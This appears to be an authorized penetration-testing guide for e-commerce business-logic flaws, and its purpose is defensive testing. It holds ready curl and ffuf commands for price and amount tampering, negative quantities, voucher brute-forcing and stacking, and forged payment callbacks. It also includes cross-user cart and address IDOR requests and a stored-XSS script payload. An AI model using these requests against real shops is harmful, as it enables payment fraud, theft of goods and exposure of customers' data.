Testing business-logic flaws in e-commerce and payment flows including price/product tampering, quantity abuse, voucher and gift-card manipulation, cart and shipping IDOR, payment-method and amount tampering, currency swaps, refund manipulation, and out-of-stock ordering.
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Testing business-logic flaws in e-commerce and payment flows including price/product tampering, quantity abuse, voucher and gift-card manipulation, cart and shipping IDOR, payment-method and amount tampering, currency swaps, refund manipulation, and out-of-stock ordering.
During authorized penetration tests of online shops, marketplaces, booking systems, and checkout/payment flows
When the application calculates price, totals, discounts, shipping, tax, or stock and trusts client-supplied values
For validating that authorization and server-side recomputation protect carts, orders, vouchers, and payments
When testing voucher/gift-card systems, refunds, cancellations, and multi-step payment hand-offs to gateways
During bug bounty programs targeting business-logic and broken-access-control issues with direct financial impact
Prerequisites
Authorization: Written penetration testing agreement; payment testing must use sandbox/test gateways and test cards only
Test payment credentials: Gateway sandbox keys, test PANs (e.g. 4111 1111 1111 1111), and confirmation that no real charges occur
Two shopper accounts: An attacker account and a victim account to prove cart/address/order IDOR
Burp Suite: Repeater for tampering each step, plus history to map the full purchase funnel
A baseline legitimate order: One clean end-to-end purchase captured so every tampered request can be diffed against it
Critical: Checks Most Often Missed
E-commerce bugs are logic bugs: the server trusts a value it should recompute, or
skips an authorization check between steps. Work this checklist on every flow:
Price/amount in the request body. Look for price, amount, total,
unit_price in add-to-cart, checkout, or the gateway hand-off. Lower it and
see if the order/charge honors the client value instead of the catalog price.
Negative quantity / negative amount = credit. Set quantity=-1 or
amount=-100. Buggy totals subtract, producing a credit, refund, or
balance increase. Also test very large quantities for integer overflow on price.
The main request and the sub-request can disagree. Many checkouts send the
amount to the app AND separately to the gateway (or in a signed token vs a
display field). Tamper the amount in ONE of them — confirm whether the
app charges the displayed value but records the tampered one, or vice-versa.
Voucher logic: reuse, stacking, guessing, count/value tamper. Re-apply a
single-use voucher after order completion; stack the same code via parameter
pollution (code=X&code=X); brute-force short/sequential codes; tamper the
discount // fields directly.
value
percent
count
Currency swap. Change currency=USD to currency=INR/IDR while keeping
the numeric amount — pay 100 in a weaker unit for a 100 USD item, or exploit
rounding between currencies.
Cart / address / order IDOR. Add to, view, or delete items in another
user's cart; read/modify someone else's saved shipping address; view/track
another user's order by ID. Pair with stored XSS in the address fields.
Payment-method downgrade. Force payment_method=COD (cash on delivery) or
payment_status=paid on an order that was never paid, skipping the gateway.
Refund / cancellation amount manipulation. Request a refund for more than
paid, refund an already-refunded order, or cancel-and-keep by tampering the
refund amount or order state transition.
Out-of-stock / inventory bypass. Order quantities beyond stock, or replay
the purchase of a sold-out/limited item; combine with a race condition on
stock decrement.
Step-skipping & state confusion. Jump straight to "order confirmed" or
"payment success" callback without completing payment; replay a gateway
success callback to mark unpaid orders paid.
Sensitive data exposure. Check whether responses leak full PAN, CVV, or
store CVV at all — storing/returning CVV is a direct PCI-DSS violation.
Workflow
Step 1: Map the Purchase Funnel
Capture one clean end-to-end order and enumerate every state-changing request.
# With Burp recording, complete a full legitimate purchase as the attacker
# account and list each step + the fields it carries:
# 1. GET /product/{id} -> catalog price
# 2. POST /cart/add {product_id, quantity, price?}
# 3. GET /cart {items[], subtotal, total}
# 4. POST /cart/voucher {code}
# 5. POST /checkout/address{address_id | address fields}
# 6. POST /checkout/shipping{method, cost}
# 7. POST /checkout/pay {amount, currency, payment_method, order_id}
# 8. (gateway redirect / callback) /payment/callback {status, amount, sig}
# 9. GET /order/{id} {status, total, paid}
# Mark every field the CLIENT supplies that the SERVER should compute.
Step 2: Price and Product Tampering
Test whether the server recomputes price from the catalog or trusts the client.
# (a) Lower the unit price during add-to-cart:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"product_id":501,"quantity":1,"price":1.00}' \
"https://shop.example.com/api/cart/add"# Then GET /cart and check whether total reflects 1.00 instead of catalog price.# (b) Product ID swap: pay for a cheap item, receive an expensive one by# pointing the line item / SKU at a high-value product after pricing:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"cart_item_id":"abc","product_id":999}' \
"https://shop.example.com/api/cart/update"# 999 = high-value product; total still reflects the original cheap line.# (c) Amount tamper at the gateway hand-off (the high-impact one):
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"order_id":"o-1001","amount":1.00,"currency":"USD"}' \
"https://shop.example.com/api/checkout/pay"# Confirm whether the captured charge is 1.00 while order shows full value.
Manipulate quantity to drive totals negative or overflow.
# Negative quantity -> negative line total -> credit / reduced grand total:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"product_id":501,"quantity":-3}' \
"https://shop.example.com/api/cart/add"# Check if subtotal/total drops below the price of other items (free goods).# Mixed cart: add an expensive item (+1) and a cheap item with large negative qty# to zero out or invert the grand total.# Integer overflow on price * quantity:
-d '{"product_id":501,"quantity":2147483647}'# may wrap to a small/negative total# Fractional / string quantities the backend may mis-handle:
-d '{"product_id":501,"quantity":0.0001}'
-d '{"product_id":501,"quantity":"1e-5"}'
Step 4: Voucher and Gift-Card Manipulation
Test reuse, stacking, guessing, and direct value tampering.
# (a) Reuse a single-use voucher after the first order completes:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"code":"WELCOME50"}'"https://shop.example.com/api/cart/voucher"# Apply, checkout, then apply the SAME code on a second order.# (b) Stack the same voucher twice via parameter pollution / repeated apply:
curl -s -X POST -H "Authorization: $TOKEN_A" \
--data 'code=WELCOME50&code=WELCOME50' \
"https://shop.example.com/api/cart/voucher"# Or call the apply endpoint twice and confirm the discount doubles.# (c) Brute-force / guess short or sequential codes:
ffuf -u "https://shop.example.com/api/cart/voucher" -X POST \
-H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"code":"FUZZ"}' -w codes.txt -mr '"discount"' -t 10 -rate 20
# (d) Tamper the voucher value/count/percent directly if client-supplied:
-d '{"code":"WELCOME50","discount_value":99999,"count":5}'
-d '{"code":"WELCOME50","percent":100}'# (e) Gift-card balance tamper: apply a card and alter its balance field, or# redeem the same gift-card code concurrently (race) to double-spend.
Step 5: Cart, Address, and Order IDOR (+ Stored XSS)
Test object-level authorization across users on shopping objects.
# Cart IDOR: add to / view / delete items in User B's cart with User A's token:
curl -s -H "Authorization: $TOKEN_A" \
"https://shop.example.com/api/cart/CART_ID_OF_USER_B"
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://shop.example.com/api/cart/CART_ID_OF_USER_B/items/77"# Shipping-address IDOR: read or overwrite another user's saved address:
curl -s -H "Authorization: $TOKEN_A" \
"https://shop.example.com/api/addresses/ADDR_ID_OF_USER_B"
curl -s -X PUT -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"line1":"redirected","city":"x"}' \
"https://shop.example.com/api/addresses/ADDR_ID_OF_USER_B"# Stored XSS in address/order fields (renders in admin order dashboard / invoice):
-d '{"line1":"<script>alert(document.domain)</script>","city":"x","zip":"00000"}'# Order-tracking IDOR: enumerate order IDs to read others' orders/PII:foridin $(seq 1000 1010); do
curl -s -o /dev/null -w "order $id: %{http_code}\n" \
-H "Authorization: $TOKEN_A""https://shop.example.com/api/order/$id"done
Step 6: Payment-Method, Currency, Refund, and Stock Abuse
Tamper the money-moving steps and inventory controls.
# Payment-method downgrade -> force COD / mark paid without paying:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"order_id":"o-1001","payment_method":"COD"}' \
"https://shop.example.com/api/checkout/pay"
-d '{"order_id":"o-1001","payment_status":"paid"}'# state tamper# Replay/forge the gateway success callback to confirm an unpaid order:
curl -s -X POST "https://shop.example.com/api/payment/callback" \
-H "Content-Type: application/json" \
-d '{"order_id":"o-1001","status":"success","amount":1.00}'# Confirm whether the callback signature is verified.# Currency swap (same numeric amount, weaker currency):
-d '{"order_id":"o-1001","amount":100,"currency":"IDR"}'# vs USD item# Refund manipulation -> refund more than paid / re-refund:
curl -s -X POST -H "Authorization: $TOKEN_A" -H "Content-Type: application/json" \
-d '{"order_id":"o-1001","refund_amount":500.00}' \
"https://shop.example.com/api/order/o-1001/refund"# paid only 50# Out-of-stock ordering / inventory bypass:
-d '{"product_id":888,"quantity":100}'# 888 has 0 stock; does it accept?# CVV/PAN exposure check (PCI): inspect responses for stored/echoed card data:
curl -s -H "Authorization: $TOKEN_A""https://shop.example.com/api/order/o-1001" \
| grep -iE '"cvv"|"cvc"|"pan"|"card_number"'
Key Concepts
Concept
Description
Price/amount tampering
Server trusts a client-supplied price/total instead of recomputing from the catalog
Negative quantity/amount
Negative values invert totals into credits or free goods
Main vs sub-request mismatch
Amount differs between the app order and the gateway charge/callback
Voucher stacking/reuse
Applying a single-use or single-instance discount multiple times
Cart/address/order IDOR
Accessing or modifying another user's shopping objects via predictable IDs
Payment-method downgrade
Forcing COD or a "paid" state to bypass actual payment
Currency swap
Keeping the numeric amount while changing to a weaker currency
Refund manipulation
Refunding more than paid, re-refunding, or cancel-and-keep state abuse
Inventory bypass
Ordering out-of-stock/limited items, often combined with a stock race
Tools & Systems
Tool
Purpose
Burp Suite (Repeater)
Tamper each funnel step: price, quantity, voucher, amount, currency, refund
Burp Intruder / ffuf
Brute-force/guess voucher and gift-card codes; enumerate order IDs
Gateway sandbox (Stripe/Adyen/etc. test mode)
Safe payment testing with test cards, no real charges
Turbo Intruder
Race conditions on voucher redemption, gift-card spend, and stock decrement
Two test accounts
Prove cart/address/order IDOR with cross-user requests
jq
Diff legitimate vs tampered order/cart responses for total/state changes
Common Scenarios
Scenario 1: Gateway Amount Tamper
The checkout sends amount to the payment gateway from the client. Lowering it to 1.00 charges the card 1.00 while the order is fulfilled at full value, because the server never reconciles the captured amount with the order total.
Scenario 2: Voucher Stacking via Parameter Pollution
A single-use 50% code is applied twice with code=X&code=X, compounding the discount to effectively free goods because each apply is processed independently.
Scenario 3: Negative Quantity Credit
Adding an item with quantity=-2 subtracts from the grand total, letting the attacker zero out the cart or generate store credit at checkout.
Scenario 4: Shipping-Address IDOR + Stored XSS
A user updates another customer's saved address via a predictable address_id, redirecting their shipments, and injects <script> that fires in the admin order dashboard that renders addresses unescaped.
Scenario 5: Forged Payment Callback
Replaying the gateway success callback with status=success marks an unpaid order as paid because the callback signature is not verified server-side.
Output Format
## E-commerce / Payment Logic Finding
**Vulnerability**: Payment Amount Tampering (client-controlled charge)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/checkout/pay (field: amount)
**OWASP Category**: A04:2021 - Insecure Design / A01:2021 - Broken Access Control
### Reproduction Steps
1. Add product 501 (catalog price 499.00) to cart and proceed to checkout
2. Intercept POST /api/checkout/pay and change "amount":499.00 to "amount":1.00
3. Complete payment in the gateway sandbox; card is charged 1.00
4. GET /api/order/{id} shows status "paid" with total 499.00 and the item shipped
5. Server did not reconcile captured amount against order total
### Issues Confirmed
| Test | Result |
|------|--------|
| Price tamper in cart/add | Honored client price |
| Gateway amount tamper | Charged 1.00 for 499.00 item |
| Negative quantity | Produced negative line total |
| Voucher reuse (single-use) | Re-applied on second order |
| Voucher stacking (code=X&code=X) | Discount doubled |
| Cart/address/order IDOR | Cross-user access confirmed |
| Forged payment callback | Marked unpaid order paid |
| CVV in order response | Not exposed |
### Impact
- Direct financial loss: goods purchased far below price / for free
- Store-credit generation via negative quantities and over-refunds
- Exposure and modification of other customers' carts, addresses, and orders
- Order fulfillment without genuine payment via callback forgery
### Recommendation
1. Recompute every price, total, tax, shipping, and discount server-side from
trusted catalog data; never trust client-supplied amounts.
2. Reconcile the gateway-captured amount/currency against the order before
fulfilment; verify and sign all payment callbacks.
3. Reject non-positive quantities; enforce integer bounds to prevent overflow.
4. Enforce voucher single-use, per-user limits, and atomic redemption; ignore
duplicate/polluted parameters; use long random non-sequential codes.
5. Apply object-level authorization to carts, addresses, and orders; use
non-enumerable IDs and escape all stored fields rendered in dashboards.
6. Restrict refund amounts to the captured total and guard order state
transitions; never store or return CVV (PCI-DSS).
